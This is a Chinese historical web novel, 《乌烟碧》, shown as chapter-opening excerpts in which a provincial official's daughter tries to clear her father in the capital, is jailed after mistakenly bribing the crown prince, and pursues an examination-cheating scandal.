《乌烟碧》 1. 进京 《乌烟碧》全本免费阅读 大胤咸宁七年 乌云罩月,夜雨淅淅。 兆京城的悦昇客栈外,两排府兵列队以待。 栈内灯火燃燃,兵卫上下进出,发出阵阵的踏步声。 “出来!出来!”,外面有人大力叩门,震得门板霍霍作响。 任知宜猛地惊醒,望着窗外黑黑的人影,心跳漏了一瞬。 “小姐,出什么事了?”宝珠揉着惺忪睡眼。 “我去看看!”任知宜披衣下床。 房门打开,门外站着一个年轻的兵卫,黑衣劲袍,腰间别着柄刀。 他上下打量了她们主仆二人一眼,口气生硬,“打哪儿来的?” 任知宜镇定下来,伸手递上路引。 路引上的“灵州”二字让兵卫稍感意外。 灵州地处大胤西南边境,与兆京城相隔千里,这两个姑娘看着柔弱,竟然是从灵州而来。 “从灵州到京城,你们走的陆路?” 任知宜缓缓道,“不敢走陆路,大部分时候都是乘舟顺水,走了半月有余,直到昨日才抵。” 兵卫朝着房间里面觑了一眼,房间不过方寸之地,仅一床一柜,看不出什么异常。 任知宜正要关门。 “等等!” 突如其来的厉声响起,一股肃杀之气扑面而来。 黑色披风挂着水滴,剑鞘透出肃肃光寒,他的腰间别着一枚玄色令牌,正中是个“南”字。 南衙监门卫! 掌管京城大半守卫的南衙,如今在大胤朝堂上可谓炙手可热。 任知宜心中一跳,掩下眸中不满,和言道,“大人,还有什么事吗?” 严风也不答话,径直跨入房间,锐利的双眸环视四周。 “大人你……”任知宜见他骤然闯入,吓了一跳。 严风的眼神在她们二人身上逡巡片刻,漫不经心地问道,“刚才听见姑娘说从灵州而来,不知姑娘此次只身赴京,所为何事?” 任知宜温言回道,“家父乃灵州长史任平,我此次来兆京,是代家父前来恭贺刘府尹大寿之喜。” 借着烛火的光,严风看清楚任知宜的模样,十七八岁的年纪,一袭青玉色襦裙,肌肤冷白,姿仪清雅,一看就是官家出身的小姐。 兆京府尹刘明扬明日寿宴,请了不少京中官宦勋贵,严风自己也同样收到了帖子。 严风瞳眸微缩,缓缓问道,“令尊为何不亲自前来?” 任知宜目露愕然,“大人应知,地方官非诏不得入京……” 她话未说完,戛然顿住。她突然明白,这位南衙监门卫大人并非不知,而是在故意试探于她! 任知宜秀眉轻蹙。 严风感受到她因为被冒犯而隐忍的怒气,反倒神色稍霁。 这才是一个官家小姐该有的反应。 灵州千里之遥,料想应该与那件事没什么关系! 严风敛了周身的冷意,与她闲话家常起来,“灵州虽不繁华,城西有家酒铺的茶尾酒却很是香醇,让本将一直怀念得紧……” 任知宜淡淡应道,“大人许是记错了!那茶尾酒是城东十风酒铺的招牌!” “是吗?”严风随意应道,突然身形一转,猛地打开立柜的门。 因为用力太大,一件女子贴身小衣掉落出来,上面绣着一团洁白的玉兰花。 任知宜花容失色,冲到立柜前慌忙遮挡,又羞又恼,“大人这是在做什么?” “本将奉命搜查!”严风面色不改,“职责所在!” “将军要搜东西,说一声便是!何必如此!”任知宜气得双唇轻颤,赌气似的将立柜中的衣物尽数拿了出来,“我们二人的东西尽在此处!你想搜就搜吧!” 严风纹丝不动,只是淡淡地瞥了一眼空荡荡的立柜。 此时,一个兵卫跑过来,小声道,“衙内有急事!” 严风神色一凛,留下一句“打扰了”,接着转身离去。 客栈外响起马鸣嘶声。 透过窗棂的缝隙,她瞥见严风跳上骏马,消失在夜色之中。 任知宜长舒了一口气,一下子瘫坐在椅子上,手心一片濡湿。 “出来吧。” 宝珠掀开屋顶的一块木板,上方露出一片狭长空道,仅半尺的高度,刚好能容纳一人趴在里面,应是多年前这房子的主人用来存粮食的地方。 一位穿着青绿色胡裙的姑娘从里面钻了出来,散乱的发髻垂在胸前,脖颈和手臂上都是淤伤,脚踝还在流血。 任知宜面沉如水,“你究竟是什么人?居然惊动到南衙监门卫!” “我,我……”,姑娘颤着双唇,慌张地看着她们。 她身上穿着胡舞纱裙,薄如蝉翼,周身若隐若现,胸前露着大片的雪肤。 “算了!”任知宜绷着脸,“我并不想知道,你速速离开。” “外面全是官兵,我实在没地方可去,求姑娘再收留一夜!”姑娘倏地跪在地上,眼泪刷刷直流。 “小姐……”宝珠眼巴巴地看着她。 “闭嘴!”任知宜怒极,狠狠地睕了宝珠一眼,“你忘了我们来京城是做什么的!什么样的麻烦你都敢招!” 宝珠缩着头,不敢再吱声。 任知宜面无表情看着姑娘,“若不是我的丫鬟自作主张救了你,我刚才绝不会帮你。你快走吧!” 姑娘跪着不起,“我虽命不足惜,但却是牵涉朝廷的一桩大案子……” “不要再说了!”任知宜冷冷地打断她,“朝廷之事,更是与我们无关。今夜的情形你也看到了,我们主仆二人差一点跟着你送命,而且,南衙卫极有可能会去而复返。” 姑娘苦求无果,只得撑起身子离开。 “等一等!” 任知宜突然喊住她,从包袱里拿出一套男子衣物和假胡须递给她。 “这几日不设宵禁,你换装后,尽量朝着大路走!我能帮你的只有这些。” “还有……”,任知宜瞥了她一眼,缓缓道,“没有谁的命是不足惜的!” 那姑娘怔怔地接过来,敛目垂眸,“多谢!” ………… 待她走后,宝珠怯生生道,“小姐,我知错了!” “这里不是灵州,日后切不可任性妄为。”任知宜长叹了口气,“你去将那块木板封死!” 宝珠依言。 “小姐!”宝珠突然喊道,“这里面有东西。” 任知宜盯着桌案上的册子,秀眉深蹙。 册子不过手掌大小,二十几页,里面记录了一些人名和地方。 粗略看了几眼,任知宜摸不准这到底是什么东西,猜测是刚才的姑娘留下的。 她微叹 2. 献礼 《乌烟碧》全本免费阅读 夜雨方歇,晨雾未散,兆京城即将开始一日的喧嚣。 客栈外停着两辆马车,帷帘一白一青,华冠盖顶,锦幔雕栏。 任知宜披衣坐起,揽镜自照。 镜中之人乌发如瀑,披垂于双肩,面容未施粉黛,肌肤盈白,仿若凝脂。 只是神情微凝,少了几分笑容。 宝珠为她盘起长发,梳成左右三层环髻,精致秀雅,乃是兆京城时下最流行的长乐髻。 “小姐,咱们的银子本就剩得不多,为何还要雇两辆这么贵的马车?”宝珠问道。 任知宜走到窗棂前,窗外雾色微蒙,“这里是京城,天子脚下。若你一身素衣,又无车马代步,恐怕连他们府邸的大门都走不进去。” 她拿出之前准备好的碧玉钗,插在宝珠的鬓发间,满意地点了点头,“所以,不止是我,你去博文斋谈生意,同样要妆扮一番,这样才不会让他们看轻了你!” 宝珠长长地叹了口气,“我还是担心会把小姐交代的差事搞砸。” 任知宜纤指抹上口脂,在宝珠的唇瓣上轻轻一点,立添三分娇艳,“在对手面前露怯,可是行商的大忌……” 她们二人下楼时,店家站在客栈门外,早已等候多时。 他撩起马车帷帘一角,感激道,“多谢姑娘昨日的提点!那小子果然暗地里昧了房钱,今早我已将他扭送到官府去了。” 任知宜淡笑不语。 店家双手抱拳,“这伙计在客栈多年,这次若不是姑娘,日后还不知道要损失多少银钱!” “客栈房钱已是天价,您何愁银钱不来?”任知宜唇角轻扬。 这话有几分意味不明,店家微微一怔,旋即明白了她的意思。 会试春闱方过,外地的举子大多留京等待放榜,兆京客栈是一房难求。任知宜是加了五两银子,才让店家让出一间房。 于她而言,兆京之行,艰难万阻,日后用银钱的地方还多着…… 店家搓着手掌,不自然地哂笑道,“姑娘帮我这么大忙,这房钱怎么好意思再跟姑娘要!” “那就多谢店家了!”任知宜浅笑道。 ………… 行过两条街,拐进一个狭长的巷道,便是刘府。 车夫勒马而停,“小姐,到了!” 任知宜轻启帷帘,露出一张清丽的面容,她拢了拢青色羽纱披风,袅袅婷婷地下了马车。 刘府尹大寿,府邸门前车水马龙,宾客络绎不绝。 门房见到任知宜,满脸堆笑,“您是……” 任知宜温声道,“家父灵州长史,应刘世伯之邀,前来贺寿!” 门房心领神会,忙不迭地领她进门。 庭深院长,曲径扶疏,花园回廊旁假山林立,错落有致。 门房一边殷勤领路,一边解释道,“北面是府中厅堂,东面是老爷的书房,南面是两位少爷的书阁。” 三进的院落,他们一路沿回廊而行,任知宜轻声问道,“不知刘世伯现在何处?” “老爷在前厅待客。”门房指着不远处的书阁道,“他吩咐小的带姑娘先去书阁,将东西交予大少爷即可。” 任知宜抱紧怀中木匣,眉间一跳。 她拿出些碎银子,盈盈笑道,“今日我有很重要的事情,还是希望能与世伯当面商谈。” 门房接过银子,低声道,“姑娘放心!这一年之中刘府的人情琐事,都是大少爷拿主意。他的意思,就代表我们老爷的意思!” 任知宜闻言微愕。 门房小声问道,“姑娘带的东西可是字画?” “不错!” “我们大少爷精研书画,一眼便可辨识藏品真伪,所以大部分时候老爷都将府中之事交予大少爷处理。姑娘有什么难处,直接告诉大少爷即可……” 原来如此! 任知宜暗自思量,看来刘府尹能不能答应帮她爹,就看这幅画在这位大少爷心中的分量了。 ………… 二人正走着,迎面有人走来,似是刘府的管家,他步履匆匆,神色焦灼,说是有贵客临门。 门房吓了一跳,顾不得给她指路,撂下一句“前面左拐就是书阁”,飞也似地离开了。 任知宜沿着他说的方向,找到刘府的书阁。 书阁分二层,一层地阔,外有檐廊,内有厅堂;二层窗牗紧闭,是藏书之所。 她低着头拐出廊道,不料此时有人从书阁中走出来,与她撞了个满怀。 她躲避不及,重重地摔倒在地上,怀中的长匣摔飞出去。 画轴骨碌碌滚出来,露出画作一角。 任知宜顾不得摔疼的腿,赶忙捡起画,瞧见画轴背面沾到少许灰迹,气得眼尾发红。 “你这个人没长眼睛吗?”她急怒交加,头也不抬便脱口而出道。 一双黑色厚底皂靴走到她眼前,任知宜的视线顺着石青色素面直裰向上移去,心中咯噔一下。 男子玉冠束髻,眉宇间仿若峨峨青山,似山有扶苏,隰有荷华。 他的身后站着一位白衣男子,与其年龄相仿,虽不若他俊美无俦,却也是潇洒俊逸。 ………… 听门房所说,刘大人的两位公子正是弱冠之龄,相貌俊秀…… 任知宜捏着卷轴的指尖微颤,因怒气升腾的血色渐渐消退下去。 与她相撞的男子蹲下身来,和言问道,“姑娘手中拿的,可是董其开的《松枝词》?” 任知宜抬眼,此人眸色温和,还有一种猝然临之而不见惊色的沉静。 仅凭画中一角的题词就能辨认出是董其开的《松枝词》,不愧是自小精研书画,难怪刘府尹会这么信赖这个儿子。 “刘公子好眼力!”任知宜起身轻整仪装,屈身见礼,“刚才一时情急,多有失礼,请公子勿怪!” 卫枢眉宇微动,继而和言道,“不怪姑娘,是在下差点弄坏了姑娘的珍品。” 言辞切切,尽显君子端方。 画轴展开,画中青松俊立,苍翠挺拔,虬枝从山岩中盘旋而起。 “公子觉得此画如何?” 卫枢神色温和,“笔锋精妙,静中取动,不愧是书画大家之作。” “公子喜欢就好!请公子笑纳!”任知宜唇角含笑,卷起画轴,顺势双手奉上。 卫枢眉头轻蹙,“在下不太明白姑娘的意思!” 任知宜一怔,指尖顿了一下。 她轻轻拂掉画卷上刚刚蹭上的灰迹,浅笑道,“公子请看,此画绝无半点瑕疵!” 卫枢凝眉不语。 任知宜的笑容微顿,“听说公子精通书画藏 3. 入狱 《乌烟碧》全本免费阅读 夜幕初临,客栈内烛火摇曳。 任知宜坐于案前,手执书卷,看得极认真。 净白的脸映在灯下,现出清透朦胧的侧影。 宝珠好奇地探过头,“小姐看什么看得这么入神?” “一本叫做《兆京梦志》的书!” 宝珠不以为然,“那不就是些市井的小道传言嘛!” “不然!”任知宜笑笑,“虚虚实实,真真假假之中,或许就会有你想要的消息。” 宝珠没听懂,也未深问,只是后知后觉地想起一件事,“咦……今夜怎地这么安静,隔壁书生终于不读书吵人了!” 任知宜放下书,若有所思,“明日应该是今科会试放榜的日子,他们这些举子大概都去守榜了。” “难怪整个客栈都这么安静!”宝珠恍然,“这么早过去,岂不是要要守一夜!这些人何必非急于一时呢!” 任知宜悠悠叹道,“十年寒窗,这其中的艰辛和期盼恐怕不是你我能体会的……” 二人随意闲聊了一会儿,方熄灯入睡。 翌日清晨,博文斋专程派了马车来接她们。 坐在马车里,宝珠咧嘴笑道,“小姐,看来陆三爷是答应了,咱们很快就能有银子了!” 任知宜唇角含笑,心中的重负亦是轻快了不少。 此行兆京还算顺利,刘府已经收了她的礼,再与陆三爷达成生意,便能赚到一笔银子。 接下来用这银子疏通刑部的关节,她爹的案子就会有转机。 宝珠撩开帷帘一角,望着外面的大街,一脸的新奇。 兆京与灵州不同,街边商肆林立,商铺、酒楼皆客似云来,杂耍之人在街头卖艺,百姓的欢呼叫好声不绝于耳,京城繁华可见一斑。 马车在路口右拐,进入石方街。 宝珠“咦”了一声,回头道,“小姐,我看到霍举子了!” “谁?” 任知宜一怔,随即会意,宝珠说的霍举子是住在她们隔壁的书生。 她向外望去,那位霍举子身着一件褐色旧深衣,站在人群之外,几次想要挤上前去,都被推搡出来。 众人簇拥的地方是一堵丈余白墙,两侧檐角作飞天状,墙下人头攒动,高声鼎沸。 任知宜缓缓道,“那是礼部官署的南院,这面墙被称为南墙。每逢放榜之日,在天未亮时,礼部的人就会将今科会试的榜单贴在这南墙上。” ………… 南墙之下,突然起了些骚动。 人潮汹涌,马车行进地愈发缓慢。 任知宜看到那霍举子被两个人强按住臂膀,跪在一个书生面前。 那书生锦衣高靴,一身江南富贵子弟的打扮。 他脚踩在霍举子的头上,狂笑着骂道,“你们房州这种粗鄙之地出来的,也妄想得中进士……哈哈哈!” 霍举子梗着脖子,想抬头却抬不起来,憋得满面通红。 那书生却还不罢休,左右开弓,朝着他的脸咣咣就是两个耳光。 宝珠看到此景,惊讶道,“光天化日的,这谁啊,怎么还打人呢!” 任知宜默默地看着外面,围观之人大多是各地来京赴考的举子,看到此人羞辱霍举子,却都退避三舍,假作不见。 宝珠义愤填膺道,“算什么读书人……霍举子平日里可比他们斯文知礼多了!” 任知宜斜睨了她一眼,“别多事!我们初到京城,自顾尚且不能,如何管得了别人的是非。” 接着放下帷帘,吩咐车夫绕道而行。 ………… 早年的博文斋只是一间小小的书坊,因为陆三爷善于结交权贵名士,后来博文斋渐渐成为兆京文人雅士的会聚之所。 正可谓,“谈笑皆鸿儒,往来无白丁。” 任知宜细细打量着博文斋门前的进出之人,皆衣着华美,非富即贵。 宝珠掩着嘴,小声道,“我终于明白小姐为什么让我这个小丫鬟去见陆三爷,然后带他去刘府门前找你。” 任知宜笑看着她。 宝珠声音更小,“小姐是想借刘府的势!” 任知宜但笑不语。 被下人引至博文斋的后院,满院绿柳,清沁雅致。 几案上果品、茶水一应俱全,足见博文斋的待客之道。 任知宜坐定,将三支毫笔铺于一绢丝帕之上。 “三爷,觉得东西如何?” 彤管通体美玉,莹白润滑,最难得的却是笔毫。 毫尖黑紫,不见一丝杂色,执笔而握,毫似锥尖,挥利如刀,乃是紫毫笔中的极品。 陆三爷眯着一双细眼,露出满意的笑容,“甚好!甚好……不过,这好东西……姑娘是从哪儿弄来的?” 任知宜挑眉,“陆三爷这是信不过我啊?” 陆三爷啜了口茶,“陆某做生意一向谨慎,不知道来历,总归是心里不踏实。” “倒也没什么特别!”任知宜眼波流转,“我找了灵州最有名的养兔人,许以重金,给了他十只初生山兔。 每日只喂最青翠的绿竹叶,只饮最清甜的甘泉水,然后让这些山兔在灵州广袤林间肆意奔跑。” 任知宜悠悠叹道,“可惜啊!生生养了五年,才得到这一点点紫毫。” 灵州多山野峻岭,不宜种植五谷,却是山间野兽的绝佳栖居之地。 紫毫笔乃是取山兔项背之上最尖利的一簇制成,极其稀有,所以为文人墨客所喜爱。 “姑娘好心思!”陆三爷竖起大拇指,由衷赞叹道。 任知宜丹唇轻启,“现在,陆三爷可以谈生意了吧!” “姑娘开的价……”陆三爷缓缓笑道,“有些高了!” “嗳……你这人!”宝珠气呼呼道,“之前说好的,怎么出尔反尔?” “在商言商!”陆三爷气定神闲道,“你这东西,一般人根本要不起!只有我这博文斋!” 博文斋不差这一单买卖;可是任知宜不同,她急需要钱财。陆三爷赌得就是,她没有门路。 市面上的三七毫大约五百两,这种十成紫毫少说也能卖到一千五百两以上,不过…… 任知宜沉吟片刻,“不如这样,我将这三支紫毫笔放于博文斋代卖,不管最终卖到什么价格,三爷都可得三成!” 陆三爷有些意外,“姑娘为何这么笃定,一定能卖得出去?” 盏中茶香四溢,淡淡的清 4. 太子 《乌烟碧》全本免费阅读 阴冷的夜风自墙隙间吹了进来,任知宜拢了拢单薄的囚衣,凝视着那双沉静的双眸,向后退了两步。 他不是刘大公子…… 白衣男子称他为“殿下”,所以他是皇室中人。 任知宜突然感觉遍体生寒,双耳内发出嗡嗡的空响,眼前一阵一阵地发黑。 她将指甲掐入皮肉之中,勉强维持住摇摇欲坠的身躯。 “你究竟是谁?” 那人未说话,白衣男子嗤笑道,“姑娘的行賕之罪已然罪证确凿,关心其他的作甚?” 昨日在刘府发生的事情像走马灯一般在任知宜的脑海中过了一遍。 她称呼此人“刘大公子”,对方并未纠正,只是一直拒收那幅《松枝词》,她当时还以为他是贪心不足,没想到根本是送错了人。 大胤刑律,官员贪墨千两者,降官阶四级,笞三十,而行賕之罪则是十年深狱。 森然的牢狱映在任知宜的眼中,让她禁不住打了个寒战。 她被关深狱,那么,她爹会如何…… 眼看二人转身要走,她突然冲到牢门前喊道,“太子殿下请留步!” 卫枢转身,长眉微动,眸间闪过一抹异色。 任知宜心知,自己猜对了他的身份。 “臣女不服!既是行賕之罪,当是已成事实。臣女送错了人,便是未能成功,如何能判臣女的罪?” 任知宜继续道,“再者,臣女若触及刑律,刘大人同样有罪,行賕和贪墨,莫非还有亲远之分?” 卫枢静静地听了半天,面色不变,淡淡地问了一句,“你如何知晓我的身份?” 任知宜轻咬下唇,那本《兆京梦志》上记着,当今圣上有四子三女,太子为嫡长子,时年二十三岁,为人冷酷,御下严苛,曾于大理寺亲手斩杀过一名犯事的官员。 直觉告诉她,此人就是太子。 “臣女观殿下龙章凤姿,所以就猜测……” 卫枢不喜谀言,冷冷地打断了她,“你虽行賕未成,却也是触犯了律法,此番就在牢里呆一年,静思己过吧!” 一年! 任知宜面色刷白,脱口而出道,“那我爹的案子……” 卫枢倏地沉下脸来,“你爹挪盗官粮在前,遣子女行賕在后,还想逃脱罪责?” 任知宜急声辩解,“进京一事完全是我一个人的主意,我爹对此毫不知情!” 卫枢脚步微顿,淡淡道,“既然你这么想做个孝女,那便与你爹一同入罪吧!” 说完,转身离开。 “殿下!” 任知宜凝望着他的背影,突然幽声问道,“殿下是否在查科举舞弊?” 冷风摇动,吹得烛火晃了一下,在卫枢的脸上落下一片阴影。 “臣女想帮殿下查案,恳请殿下给臣女一个戴罪立功的机会。” 任知宜跪在石地上,伏拜于地。 卫枢声音变冷,“凭你?” 任知宜手指微颤,冷静道,“臣女只是想略尽绵薄之力,就像刘府尹那样!” 卫枢凝视着她,双眸锐利如刀,似要看穿她的意图。 任知宜稳了稳心神,继续道,“昨日殿下出现在刘府,今夜刘府尹便派兵查会试举子的行踪,臣女便做了个大胆的揣测。” 卫枢唇角轻勾,笑意却未达眼底,“你的确聪慧,敏锐……只可惜,和你父亲一样,没用在正道上。” 此话极尽讥讽。 任知宜本想反驳,想到他的身份,狠狠地咬了咬后槽牙,忍了下来。 “殿下容禀!我父冤枉,若不是投靠无门,臣女也不会出此下策。” “……” 任知宜见卫枢仍然不为所动,朗声道,“我父为官十二载,未贪墨一分一毫,未枉判一桩官案,他不是殿下口中的贪官。此次进京,是我身为女儿的不忍之情,望殿下明察!” 阴冷的气息渗入她的膝盖中,像针扎般刺痛,任知宜仍将背脊挺得笔直。 卫枢长眉微挑,如今大胤国中,敢站出来说自己未贪墨一分一毫的大胤官员,真可谓凤毛麟角。 “惟启殿下明察!”任知宜再次伏身拜地,“臣女愿戴罪立功,助殿下破科举舞弊。希望殿下念臣女一片孝心,行銶未成,能为我父申冤。” 卫枢默了半晌,沉声道,“我会派人去查,你父亲若真是个清正之官,我会亲自过问他的案子。” “至于姑娘你……”,他淡淡地瞥了任知宜一眼,眼神微凉,“科举乃朝廷之事,与姑娘无关。” 卫枢径直离去,留下任知宜跪在原地凝神静思。 此次进京,便是要寻一个靠山,翻正她爹的案子。 太子位高而权重,较之刘府尹,则是更好的人选。 只不过,太子此人外表温和知礼,实则是一个防备心极重之人。 弯月躲入云层之中,周围愈加黑洞洞的,任知宜靠在冰冷的石壁上,了无睡意。 ………… 牢头掂了掂宝珠送来的金钗,成色、份量都不错,这才同意宝珠进入牢中。 宝珠见到任知宜,眼泪直流,“小姐,你在里面冷不冷啊?我给你带了件衣服。” “我没事儿!咱们时间不多!”隔着牢门,任知宜握着她的手,“你尽快通知陆三爷,别计较价格,两日之内卖掉那三支紫毫。” “小姐,别管银子的事儿了!我还是先想办法救你出去吧!” “不行!”任知宜秀眉微蹙,“迟了,我怕连一半钱都拿不到!” 科举舞弊非同小可,不管最后是否定案,都会形成轩然大波。 拜托陆三爷代卖的三支紫毫一定要尽快脱手,否则消息一旦传出去,今科贡士人人自危,哪有人有心思买这个彩头! 任知宜四处望望,眼见四下无人,“我被抓之前让你誊写的东西,可有带在身边?” “嗯!”宝珠止了哭泣,从怀中掏出一摞纸。 任知宜快速地翻阅了两遍,眼底渐渐清明起来。 “宝珠,这两日客栈的举子都在做什么?” “咱们客栈的举子大多落榜,都在收拾行囊,准备返乡。” “解州的举子呢?” 宝珠一怔,不明白小姐为什么关心解州,但还是解释道,“来的路上,我看见凌云楼熙熙攘攘,好不热闹!听说是解州举子连开三日酒席,庆贺高中。” 任知宜捏紧纸笺,上面是宝珠誊抄的今科会试榜单。 解州举子高中者共计二十一名,为大胤各州之首。 如此惊人的结果,却在世人的预料之中。谁让他们是解州举子呢! 大胤名城之中,解州必然要占一席之地。 世人皆说,解州人杰地灵,乃是福地。 自大胤开国以来,解州已出过三位状元,四位探花,中进士者一直是江南各州之首,所以解州官员在朝中的同乡故旧不知凡几,久而久之,形成了一个盘根错节的关系网。 5. 救人 《乌烟碧》全本免费阅读 春寒料峭,欲暖还寒。 宝珠扶着任知宜跨过客房门口的小火盆,双手合十拜道,“大吉大利……祛灾除恶!” 任知宜回过神来,不以为然地笑笑。 她低头看着手中的血帕,太子放她出狱,并将帕子归还于她,只是将“解州”二字以朱笔标注。 究竟是何意? 她曾听她爹说过,嘉以之乱后,皇帝曾经一度忌惮武将,重用文臣。 难道文臣结党,皇权旁落,就是太子最需要解决的难题? 解州一派,于朝中势力庞大,在民间声望盛隆。若不能一击即中,即便是太子,也会遭遇反噬。 宝珠拿着蒲叶在她身上扫来扫去,“莫名其妙地坐了几日的牢狱,必须好好去去霉气!” 任知宜的目光则被桌上的一方靛青色雕花漆金盒吸引住了,“这是?” “今早陆三爷送来的!” 任知宜打开盒子,里面赫然放着一沓银票。 一张,两张……整整五十张,足足五千两银子。 任知宜眉头轻舒,唇角禁不住绽出笑意,“这么短的时间就卖出毫笔!不愧是陆三爷!” “呜呜……呜呜……” 隔壁房间突然传来悲戚的哭声,起初还是放声大哭,后来只剩下低声的呜咽。 哭声甚是凄凉,稍稍冲淡了主仆二人的喜悦。 任知宜心内微叹,“这位霍举子还没有返乡?” “听说是手臂受了点伤,耽搁了行程!” 任知宜想起那日南墙榜下所见,沉默下来。 “举足……望何处,悠悠君莫问……” 一声悲切的低吟后,隔壁渐渐安静下来。 ………… 任知宜和宝珠将银票一分为二,缝入各自的小衣中。 这些银子,虽然不敢用来打点刑部,但是用来打探消息还是可以的…… 突然,隔壁传来“咚”的一声巨响。 震得任知宜心头一颤,她面色一变,“宝珠!刚才是不是有重物落地的声音?” “好像……是!”宝珠懵道。 “不好!” 任知宜扔掉手中的针线,快步冲到霍举子的房门口,发狠地捶打门板。 “霍举子!开门……霍举子,开门!开门!” “出什么事儿了?”店家和几个举子闻声而来。 “房门紧闭不应,霍举子可能出事了!” 众人不敢迟疑,踹门而入,见人吊在房梁上,双腿软软地垂坠着。 众人合力抱他下来。 人已经晕死过去,面容青紫,呼吸微弱。 任知宜喊道,“都退后,让个空地出来……” 店家忙不迭地打开窗户,一边通风散气,一边嚎哭道,“霍举子啊……你这不是害我嘛!” “这可如何是好?”一个同乡举子解开他的襟领,颈间的深痕发紫。 任知宜试了试他的脉,尚有一丝脉息。 她拿出一粒丹药递给那位举子,“这是上清丹,劳烦公子喂给霍举子。” “什么上清丹?”同乡举子犹疑不接,“我没听说过!” 任知宜耐着性子解释道,“这上清丹是我们家乡的一味灵药,最是危急的时候用,你信我。” “我看他是不行了,咱们还是先报官吧!”眼见霍举子气息渐弱,店家慌里慌张地开始喊人。 “他还有气息!” 任知宜的视线掠过其他举子,众人皆面露难色。 任知宜不再言语,推开前面挡着的人,捏着霍举子的下巴,把上清丹投喂进去。 宝珠憋屈得不行,跳脚骂道,“一个个的,不知道读的什么圣贤书!这般自私怕事!” “别说了!宝珠,去找床被子给霍公子裹上,他身子太冷了。” 半柱香的时间过去,霍公子悠悠地醒转过来,众人都长长地舒了一口气,各自散去。 ………… 那位同乡举子姓费,他临走前向任知宜致谢,“多谢姑娘救了霍兄的性命……” 任知宜神情淡淡,不予理会。 费举子面露尴尬,“非是我等自私,实在是会试落第已无仕途可言,若再惹上人命官司,便连举人身份也没有了……” 听完他陈诉苦衷,任知宜漫不经心地瞥了他一眼,“落不落第重要吗?” “姑娘此话怎讲?” “你若中了进士,只会更珍惜自己的身份,更加不会出手救他。这世道的人情薄如纸,何必非要给自己找这些冠冕堂皇的借口!” 费举子被骂得面色胀红,仓皇离开。 ………… 宝珠匆匆跑过来道,“小姐,霍举子醒了,又要轻生。” 任知宜薄唇抿成一条线,她走到他的床前,自上而下地俯视道,“死之前,先把银子还给我!” “咳咳……我,我何时欠过姑娘银子?”霍思修喉咙受伤,说话还有些费力。 “我救你的那粒上清丹,价值四百三十两!你就算要死,也要先还钱!” 霍思修仰面苦笑,“那就来生再还姑娘的恩情吧!” 任知宜冷冷道,“你这种懦弱自缢之人,若有来生,也只配做狗畜,如何还钱!” 霍思修一怔,有些不敢相信眼前天仙般的姑娘居然会这么说! “你以为你一死了之,来生便可金榜题名,一雪前耻?”任知宜轻笑道。 霍思修喉头一梗,之前的屈辱感重新涌上心头。 任知宜冷冷地瞥了他一眼,“你这么死了,只不过是让亲者痛,仇者快罢了!这一世的债和仇,就该在这一世了结!” 一朝死生,大梦初醒。 “想明白了?” 霍思修苦笑道,“姑娘放心,我不会再轻生了。” “……” 任知宜柳眉一挑,“我问得是,想明白怎么还钱了?” 霍思修一噎,结结巴巴道,“暂,暂时还没有……” 此时,宝珠端着碗走进来。 “我跟店家要了碗厨房的鸡汤,还热着。快喝吧!” ………… 书案上摞着厚厚的书稿,任知宜随意拿起一本,葱白的指尖拂过书页,她抬头瞥了霍思修一眼。 “这些都是你写的?” “一堆,一堆废纸而已 6. 赌坊 《乌烟碧》全本免费阅读 接连多日的阴雨停歇,空气中仅余湿漉之气,大地现出萌发之意。 春闱放榜之后,兆京城热闹了好几日。 再过一月便是殿试,如今都在猜测谁会成为今科的状元。 有人说是解州才子宫北楼,他才比子建,诗词歌赋无一不精;也有人说是安州举子刘泰,少有才名,深得安州王的赏识;还有人说是当朝宰辅景郦之子景随,文辞瑰丽,人品贵重,也许能成就一门父子两状元的佳话。 所以,在兆京城私下设的赌局当中,以这三位人选最热。 …… 霍思修站在聚盛赌坊的门口踟蹰不前,半捂着脸问道,“任姑娘,当真要进去吗?” “当然!这里可是个知己知彼的好地方。”任知宜一袭白衫,青带束发,一身的男儿装扮潇洒倜傥。 “这,这是不是有辱斯文……啊啊……” 任知宜不等他说完,一把将他推了进去。 “樗蒲、叶子牌、投壶、弹棋……三位客官想玩点儿什么,咱们赌坊都应有尽有。”小厮口齿利落地介绍道。 任知宜掩着口,小声问道,“你们这里有没有状元局?” “有的,有的……”小厮心领神会,领着他们三人穿过一扇不起眼的小门,又走过一个长长的廊道,右拐到一间房门前。 木门上的漆色掉了大半,从外面看去是个极不起眼的地方。 任知宜轻轻一推,透过门缝往里面望去,但只是瞧了一眼,她就倏地缩回身子,一脸的凝重。 宝珠见状,一下子紧张起来,“怎么了?小姐!里面有什么?” 真是冤家路窄! 那位“刘府二公子”居然坐在里面! 任知宜抿唇,什么“刘府二公子”,她如今也已知晓,此人实际上是太子的表弟,长公主之子,户部侍郎苏叶。 她戴上帷帽,遮住面容,咬了咬牙,推门进去。 房内外围是一圈环形坐台,开局之人立于环台中间,旁边是一排挂着名牌的木质立柱,名牌之上标记有名字和赔率。 三人寻了个位置坐下,开局人正讲到安州举子刘泰。 “刘泰其人,八尺昂藏,四方脸,长着一双剑眉;自幼家贫,事母至孝,乡野传颂。传闻他八岁那年随叔父去安州王府做客,席上赋诗一首,满堂宾客喝彩,自此得到安州王的赏识。诗词歌赋、礼仪策问无一不通,据说还懂些武艺……” “唔……”一阵惊呼声发出,很多人脸上都现出赞叹之色。 “小姐,我们到底来这里做什么啊?”宝珠弱弱地问道。 任知宜目不斜视,“你猜!” 宝珠挠了挠小脸,“莫不是……来挑姑爷的?” 任知宜凉凉地看了她一眼。 霍思修坐在旁边,听着主仆俩的对话,哭笑不得。 不知道自己怎么就跟着任知宜走上这条道! 想起那一日的情景…… 当时他看到自己曾经写下的诗句——“北风知吾念,尤恨世不平”,心中突地涌上一股热潮,脱口而出道,“你说得对,不能就这么算了!” 任知宜神色微凝,“你待如何?” 霍思修激动得面色发红,“明日我便去府衙提告!” “证据呢?” “有一日罗汉醉酒,他当着众人的面,亲口说他花重金买到了今年会试的考题,他还说这题只卖解州举子。” 霍思修越说越气,“初时我也以为是他自大吹嘘,可是他当时无意中透露的一句,恰恰出现在会试考题中。” “呵……”任知宜啐声道,“一朝科举锈烂至此,难怪选出来的大胤官员净是些尸位素餐的废物。” “倒也,倒也不必这么说……”霍思修一噎,嗫嚅道,“偌大的朝廷总还是有清官和好官的!” “他们官官相护,随便安个罪名便能让你生不如死!” 任知宜定定地望着他,“若你真想求一个公道,我帮你!” “……” 霍思修不解道,“姑娘为何要帮我?” 任知宜站在窗前,背对着他,望着远处灰云飘散,天光渐暗。 